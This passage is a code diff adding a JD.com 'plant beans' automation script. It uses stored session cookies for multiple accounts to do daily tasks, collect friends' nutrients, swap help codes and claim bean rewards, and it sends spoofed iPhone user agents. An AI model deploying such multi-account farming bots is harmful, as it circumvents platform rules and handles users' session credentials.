+ console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ message = '';
+ subTitle = '';
+ option = {};
+ await shareCodesFormat();
+ await jdPlantBean();
+ await showMsg();
+ }
+ }
+ if ($.isNode() && allMessage) {
+ await notify.sendNotify(`${$.name}`, `${allMessage}`)
+ }
+})().catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+}).finally(() => {
+ $.done();
+})
+
+async function jdPlantBean() {
+ try {
+ console.log(`获取任务及基本信息`)
+ await plantBeanIndex();
+ // console.log(plantBeanIndexResult.data.taskList);
+ if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) {
+ const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl
+ $.myPlantUuid = getParam(shareUrl, 'plantUuid')
+ console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`);
+ roundList = $.plantBeanIndexResult.data.roundList;
+ currentRoundId = roundList[1].roundId;//本期的roundId
+ lastRoundId = roundList[0].roundId;//上期的roundId
+ awardState = roundList[0].awardState;
+ $.taskList = $.plantBeanIndexResult.data.taskList;
+ subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`;
+ message += `【上期时间】${roundList[0].dateDesc.replace('上期 ', '')}\n`;
+ message += `【上期成长值】${roundList[0].growth}\n`;
+ await receiveNutrients();//定时领取营养液
+ await doHelp();//助力
+ await doTask();//做日常任务
+ await doEgg();
+ await stealFriendWater();
+ await doCultureBean();
+ await doGetReward();
+ await showTaskProcess();
+ await plantShareSupportList();
+ } else {
+ console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`);
+ }
+ } catch (e) {
+ $.logErr(e);
+ const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`;
+ if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg);
+ $.msg($.name, '', `${errMsg}`)
+ }
+}
+async function doGetReward() {
+ console.log(`【上轮京豆】${awardState === '4' ? '采摘中' : awardState === '5' ? '可收获了' : '已领取'}`);
+ if (awardState === '4') {
+ //京豆采摘中...
+ message += `【上期状态】${roundList[0].tipBeanEndTitle}\n`;
+ } else if (awardState === '5') {
+ //收获
+ await getReward();
+ console.log('开始领取京豆');
+ if ($.getReward && $.getReward.code === '0') {
+ console.log('京豆领取成功');
+ message += `【上期兑换京豆】${$.getReward.data.awardBean}个\n`;
+ $.msg($.name, subTitle, message);
+ allMessage += `京东账号${$.index} ${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`
+ // if ($.isNode()) {
+ // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `京东账号${$.index} ${$.nickName}\n${message}`);
+ // }
+ } else {
+ console.log(`$.getReward 异常:${JSON.stringify($.getReward)}`)
+ }
+ } else if (awardState === '6') {
+ //京豆已领取
+ message += `【上期兑换京豆】${roundList[0].awardBeans}个\n`;
+ }
+ if (roundList[1].dateDesc.indexOf('本期 ') > -1) {
+ roundList[1].dateDesc = roundList[1].dateDesc.substr(roundList[1].dateDesc.indexOf('本期 ') + 3, roundList[1].dateDesc.length);
+ }
+ message += `【本期时间】${roundList[1].dateDesc}\n`;
+ message += `【本期成长值】${roundList[1].growth}\n`;
+}
+async function doCultureBean() {
+ await plantBeanIndex();
+ if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0') {
+ const plantBeanRound = $.plantBeanIndexResult.data.roundList[1]
+ if (plantBeanRound.roundState === '2') {
+ //收取营养液
+ if (plantBeanRound.bubbleInfos && plantBeanRound.bubbleInfos.length) console.log(`开始收取营养液`)
+ for (let bubbleInfo of plantBeanRound.bubbleInfos) {
+ console.log(`收取-${bubbleInfo.name}-的营养液`)
+ await cultureBean(plantBeanRound.roundId, bubbleInfo.nutrientsType)
+ console.log(`收取营养液结果:${JSON.stringify($.cultureBeanRes)}`)
+ }
+ }
+ } else {
+ console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`)
+ }
+}
+async function stealFriendWater() {
+ await stealFriendList();
+ if ($.stealFriendList && $.stealFriendList.code === '0') {
+ if ($.stealFriendList.data && $.stealFriendList.data.tips) {
+ console.log('\n\n今日偷取好友营养液已达上限\n\n');
+ return
+ }
+ if ($.stealFriendList.data && $.stealFriendList.data.friendInfoList && $.stealFriendList.data.friendInfoList.length > 0) {
+ let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000);
+ for (let item of $.stealFriendList.data.friendInfoList) {
+ if (new Date(nowTimes).getHours() === 20) {
+ if (item.nutrCount >= 2) {
+ // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`);
+ console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`);
+ await collectUserNutr(item.paradiseUuid);
+ console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`)
+ if ($.stealFriendRes && $.stealFriendRes.code === '0') {
+ console.log(`偷取好友营养液成功`)
+ }
+ }
+ } else {
+ if (item.nutrCount >= 3) {
+ // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`);
+ console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`);
+ await collectUserNutr(item.paradiseUuid);
+ console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`)
+ if ($.stealFriendRes && $.stealFriendRes.code === '0') {
+ console.log(`偷取好友营养液成功`)
+ }
+ }
+ }
+ }
+ }
+ } else {
+ console.log(`$.stealFriendList 异常: ${JSON.stringify($.stealFriendList)}`)
+ }
+}
+async function doEgg() {
+ await egg();
+ if ($.plantEggLotteryRes && $.plantEggLotteryRes.code === '0') {
+ if ($.plantEggLotteryRes.data.restLotteryNum > 0) {
+ const eggL = new Array($.plantEggLotteryRes.data.restLotteryNum).fill('');
+ console.log(`目前共有${eggL.length}次扭蛋的机会`)
+ for (let i = 0; i < eggL.length; i++) {
+ console.log(`开始第${i + 1}次扭蛋`);
+ await plantEggDoLottery();
+ console.log(`天天扭蛋成功:${JSON.stringify($.plantEggDoLotteryResult)}`);
+ }
+ } else {
+ console.log('暂无扭蛋机会')
+ }
+ } else {
+ console.log('查询天天扭蛋的机会失败' + JSON.stringify($.plantEggLotteryRes))
+ }
+}
+async function doTask() {
+ if ($.taskList && $.taskList.length > 0) {
+ for (let item of $.taskList) {
+ if (item.isFinished === 1) {
+ console.log(`${item.taskName} 任务已完成\n`);
+ continue;
+ } else {
+ if (item.taskType === 8) {
+ console.log(`\n【${item.taskName}】任务未完成,需自行手动去京东APP完成,${item.desc}营养液\n`)
+ } else {
+ console.log(`\n【${item.taskName}】任务未完成,${item.desc}营养液\n`)
+ }
+ }
+ if (item.dailyTimes === 1 && item.taskType !== 8) {
+ console.log(`\n开始做 ${item.taskName}任务`);
+ // $.receiveNutrientsTaskRes = await receiveNutrientsTask(item.taskType);
+ await receiveNutrientsTask(item.taskType);
+ console.log(`做 ${item.taskName}任务结果:${JSON.stringify($.receiveNutrientsTaskRes)}\n`);
+ }
+ if (item.taskType === 3) {
+ //浏览店铺
+ console.log(`开始做 ${item.taskName}任务`);
+ let unFinishedShopNum = item.totalNum - item.gainedNum;
+ if (unFinishedShopNum === 0) {
+ continue
+ }
+ await shopTaskList();
+ const { data } = $.shopTaskListRes;
+ let goodShopListARR = [], moreShopListARR = [], shopList = [];
+ const { goodShopList, moreShopList } = data;
+ for (let i of goodShopList) {
+ if (i.taskState === '2') {
+ goodShopListARR.push(i);
+ }
+ }
+ for (let j of moreShopList) {
+ if (j.taskState === '2') {
+ moreShopListARR.push(j);
+ }
+ }
+ shopList = goodShopListARR.concat(moreShopListARR);
+ for (let shop of shopList) {
+ const { shopId, shopTaskId } = shop;
+ const body = {
+ "monitor_refer": "plant_shopNutrientsTask",
+ "shopId": shopId,
+ "shopTaskId": shopTaskId
+ }
+ const shopRes = await requestGet('shopNutrientsTask', body);
+ console.log(`shopRes结果:${JSON.stringify(shopRes)}`);
+ if (shopRes && shopRes.code === '0') {
+ if (shopRes.data && shopRes.data.nutrState && shopRes.data.nutrState === '1') {
+ unFinishedShopNum --;
+ }
+ }
+ if (unFinishedShopNum <= 0) {
+ console.log(`${item.taskName}任务已做完\n`)
+ break;
+ }
+ }
+ }
+ if (item.taskType === 5) {
+ //挑选商品
+ console.log(`开始做 ${item.taskName}任务`);
+ let unFinishedProductNum = item.totalNum - item.gainedNum;
+ if (unFinishedProductNum === 0) {
+ continue
+ }
+ await productTaskList();
+ // console.log('productTaskList', $.productTaskList);
+ const { data } = $.productTaskList;
+ let productListARR = [], productList = [];
+ const { productInfoList } = data;
+ for (let i = 0; i < productInfoList.length; i++) {
+ for (let j = 0; j < productInfoList[i].length; j++){
+ productListARR.push(productInfoList[i][j]);
+ }
+ }
+ for (let i of productListARR) {
+ if (i.taskState === '2') {
+ productList.push(i);
+ }
+ }
+ for (let product of productList) {
+ const { skuId, productTaskId } = product;
+ const body = {
+ "monitor_refer": "plant_productNutrientsTask",
+ "productTaskId": productTaskId,
+ "skuId": skuId
+ }
+ const productRes = await requestGet('productNutrientsTask', body);
+ if (productRes && productRes.code === '0') {
+ // console.log('nutrState', productRes)
+ //这里添加多重判断,有时候会出现活动太火爆的问题,导致nutrState没有
+ if (productRes.data && productRes.data.nutrState && productRes.data.nutrState === '1') {
+ unFinishedProductNum --;
+ }
+ }
+ if (unFinishedProductNum <= 0) {
+ console.log(`${item.taskName}任务已做完\n`)
+ break;
+ }
+ }
+ }
+ if (item.taskType === 10) {
+ //关注频道
+ console.log(`开始做 ${item.taskName}任务`);
+ let unFinishedChannelNum = item.totalNum - item.gainedNum;
+ if (unFinishedChannelNum === 0) {
+ continue
+ }
+ await plantChannelTaskList();
+ const { data } = $.plantChannelTaskList;
+ // console.log('goodShopList', data.goodShopList);
+ // console.log('moreShopList', data.moreShopList);
+ let goodChannelListARR = [], normalChannelListARR = [], channelList = [];
+ const { goodChannelList, normalChannelList } = data;
+ for (let i of goodChannelList) {
+ if (i.taskState === '2') {
+ goodChannelListARR.push(i);
+ }
+ }
+ for (let j of normalChannelList) {
+ if (j.taskState === '2') {
+ normalChannelListARR.push(j);
+ }
+ }
+ channelList = goodChannelListARR.concat(normalChannelListARR);
+ for (let channelItem of channelList) {
+ const { channelId, channelTaskId } = channelItem;
+ const body = {
+ "channelId": channelId,
+ "channelTaskId": channelTaskId
+ }
+ const channelRes = await requestGet('plantChannelNutrientsTask', body);
+ console.log(`channelRes结果:${JSON.stringify(channelRes)}`);
+ if (channelRes && channelRes.code === '0') {
+ if (channelRes.data && channelRes.data.nutrState && channelRes.data.nutrState === '1') {
+ unFinishedChannelNum --;
+ }
+ }
+ if (unFinishedChannelNum <= 0) {
+ console.log(`${item.taskName}任务已做完\n`)
+ break;
+ }
+ }
+ }
+ }
+ }
+}
+function showTaskProcess() {
+ return new Promise(async resolve => {
+ await plantBeanIndex();
+ $.taskList = $.plantBeanIndexResult.data.taskList;
+ if ($.taskList && $.taskList.length > 0) {
+ console.log(" 任务 进度");
+ for (let item of $.taskList) {
+ console.log(`[${item["taskName"]}] ${item["gainedNum"]}/${item["totalNum"]} ${item["isFinished"]}`);
+ }
+ }
+ resolve()
+ })
+}
+//助力好友
+async function doHelp() {
+ for (let plantUuid of newShareCodes) {
+ console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${plantUuid}`);
+ if (!plantUuid) continue;
+ if (plantUuid === $.myPlantUuid) {
+ console.log(`\n跳过自己的plantUuid\n`)
+ continue
+ }
+ await helpShare(plantUuid);
+ if ($.helpResult && $.helpResult.code === '0') {
+ // console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`);
+ if ($.helpResult.data.helpShareRes) {
+ if ($.helpResult.data.helpShareRes.state === '1') {
+ console.log(`助力好友${plantUuid}成功`)
+ console.log(`${$.helpResult.data.helpShareRes.promptText}\n`);
+ } else if ($.helpResult.data.helpShareRes.state === '2') {
+ console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n');
+ break;
+ } else if ($.helpResult.data.helpShareRes.state === '3') {
+ console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n')
+ } else if ($.helpResult.data.helpShareRes.state === '4') {
+ console.log(`${$.helpResult.data.helpShareRes.promptText}\n`)
+ } else {
+ console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`);
+ }
+ }
+ } else {
+ console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`);
+ }
+ }
+}
+function showMsg() {
+ $.log(`\n${message}\n`);
+ jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify;
+ if (!jdNotify || jdNotify === 'false') {
+ $.msg($.name, subTitle, message);
+ }
+}
+// ================================================此处是API=================================
+//每轮种豆活动获取结束后,自动收取京豆
+async function getReward() {
+ const body = {
+ "roundId": lastRoundId
+ }
+ $.getReward = await request('receivedBean', body);
+}
+//收取营养液
+async function cultureBean(currentRoundId, nutrientsType) {
+ let functionId = arguments.callee.name.toString();
+ let body = {
+ "roundId": currentRoundId,
+ "nutrientsType": nutrientsType,
+ }
+ $.cultureBeanRes = await request(functionId, body);
+}
+//偷营养液大于等于3瓶的好友
+//①查询好友列表
+async function stealFriendList() {
+ const body = {
+ pageNum: '1'
+ }
+ $.stealFriendList = await request('plantFriendList', body);
+}
+
+//②执行偷好友营养液的动作
+async function collectUserNutr(paradiseUuid) {
+ console.log('开始偷好友');
+ // console.log(paradiseUuid);
+ let functionId = arguments.callee.name.toString();
+ const body = {
+ "paradiseUuid": paradiseUuid,
+ "roundId": currentRoundId
+ }
+ $.stealFriendRes = await request(functionId, body);
+}
+async function receiveNutrients() {
+ $.receiveNutrientsRes = await request('receiveNutrients', {"roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients"})
+ // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`)
+}
+async function plantEggDoLottery() {
+ $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery');
+}
+//查询天天扭蛋的机会
+async function egg() {
+ $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex');
+}
+async function productTaskList() {
+ let functionId = arguments.callee.name.toString();
+ $.productTaskList = await requestGet(functionId, {"monitor_refer": "plant_productTaskList"});
+}
+async function plantChannelTaskList() {
+ let functionId = arguments.callee.name.toString();
+ $.plantChannelTaskList = await requestGet(functionId);
+ // console.log('$.plantChannelTaskList', $.plantChannelTaskList)
+}
+async function shopTaskList() {
+ let functionId = arguments.callee.name.toString();
+ $.shopTaskListRes = await requestGet(functionId, {"monitor_refer": "plant_receiveNutrients"});
+ // console.log('$.shopTaskListRes', $.shopTaskListRes)
+}
+async function receiveNutrientsTask(awardType) {
+ const functionId = arguments.callee.name.toString();
+ const body = {
+ "monitor_refer": "receiveNutrientsTask",
+ "awardType": `${awardType}`,
+ }
+ $.receiveNutrientsTaskRes = await requestGet(functionId, body);
+}
+async function plantShareSupportList() {
+ $.shareSupportList = await requestGet('plantShareSupportList', {"roundId": ""});
+ if ($.shareSupportList && $.shareSupportList.code === '0') {
+ const { data } = $.shareSupportList;
+ //当日北京时间0点时间戳
+ const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000;
+ //次日北京时间0点时间戳
+ const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000);
+ let friendList = [];
+ data.map(item => {
+ if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) {
+ friendList.push(item);
+ }
+ })
+ message += `【助力您的好友】共${friendList.length}人`;
+ } else {
+ console.log(`异常情况:${JSON.stringify($.shareSupportList)}`)
+ }
+}
+//助力好友的api
+async function helpShare(plantUuid) {
+ console.log(`\n开始助力好友: ${plantUuid}`);
+ const body = {
+ "plantUuid": plantUuid,
+ "wxHeadImgUrl": "",
+ "shareUuid": "",
+ "followType": "1",
+ }
+ $.helpResult = await request(`plantBeanIndex`, body);
+ console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`);
+}
+async function plantBeanIndex() {
+ $.plantBeanIndexResult = await request('plantBeanIndex');//plantBeanIndexBody
+}
+function readShareCode() {
+ return new Promise(async resolve => {
+ $.get({url: `http://share.turinglabs.net/api/v3/bean/query/${randomCount}/`, timeout: 10000}, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
+ data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ await $.wait(15000);
+ resolve()
+ })
+}
+//格式化助力码
+function shareCodesFormat() {
+ return new Promise(async resolve => {
+ // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`)
+ newShareCodes = [];
+ if ($.shareCodesArr[$.index - 1]) {
+ newShareCodes = $.shareCodesArr[$.index - 1].split('@');
+ } else {
+ console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`)
+ const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1);
+ newShareCodes = shareCodes[tempIndex].split('@');
+ }
+ const readShareCodeRes = await readShareCode();
+ if (readShareCodeRes && readShareCodeRes.code === 200) {
+ newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])];
+ }
+ console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`)
+ resolve();
+ })
+}
+function requireConfig() {
+ return new Promise(resolve => {
+ console.log('开始获取种豆得豆配置文件\n')
+ notify = $.isNode() ? require('./sendNotify') : '';
+ //Node.js用户请在jdCookie.js处填写京东ck;
+ const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+ const jdPlantBeanShareCodes = $.isNode() ? require('./jdPlantBeanShareCodes.js') : '';
+ //IOS等用户直接用NobyDa的jd cookie
+ if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ if (jdCookieNode[item]) {
+ cookiesArr.push(jdCookieNode[item])
+ }
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+ } else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+ }
+ console.log(`共${cookiesArr.length}个京东账号\n`)
+ $.shareCodesArr = [];
+ if ($.isNode()) {
+ Object.keys(jdPlantBeanShareCodes).forEach((item) => {
+ if (jdPlantBeanShareCodes[item]) {
+ $.shareCodesArr.push(jdPlantBeanShareCodes[item])
+ }
+ })
+ } else {
+ if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item);
+ console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`);
+ }
+ // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`);
+ console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`);
+ resolve()
+ })
+}
+function requestGet(function_id, body = {}) {
+ if (!body.version) {
+ body["version"] = "9.0.0.1";
+ }
+ body["monitor_source"] = "plant_app_plant_index";
+ body["monitor_refer"] = "";
+ return new Promise(async resolve => {
+ await $.wait(2000);
+ const option = {
+ url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`,
+ headers: {
+ 'Cookie': cookie,
+ 'Host': 'api.m.jd.com',
+ 'Accept': '*/*',
+ 'Connection': 'keep-alive',
+ 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)',
+ 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Content-Type': "application/x-www-form-urlencoded"
+ },
+ timeout: 10000,
+ };
+ $.get(option, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n种豆得豆: API查询请求失败 ‼️‼️')
+ $.logErr(err);
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ },
+ "timeout": 10000,
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function request(function_id, body = {}){
+ return new Promise(async resolve => {
+ await $.wait(2000);
+ $.post(taskUrl(function_id, body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n种豆得豆: API查询请求失败 ‼️‼️')
+ console.log(`function_id:${function_id}`)
+ $.logErr(err);
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function taskUrl(function_id, body) {
+ body["version"] = "9.2.4.0";
+ body["monitor_source"] = "plant_app_plant_index";
+ body["monitor_refer"] = "";
+ return {
+ url: JD_API_HOST,
+ body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`,
+ headers: {
+ "Cookie": cookie,
+ "Host": "api.m.jd.com",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Content-Type": "application/x-www-form-urlencoded"
+ },
+ timeout: 10000,
+ }
+}
+function getParam(url, name) {
+ const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i")
+ const r = url.match(reg)
+ if (r != null) return unescape(r[2]);
+ return null;
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 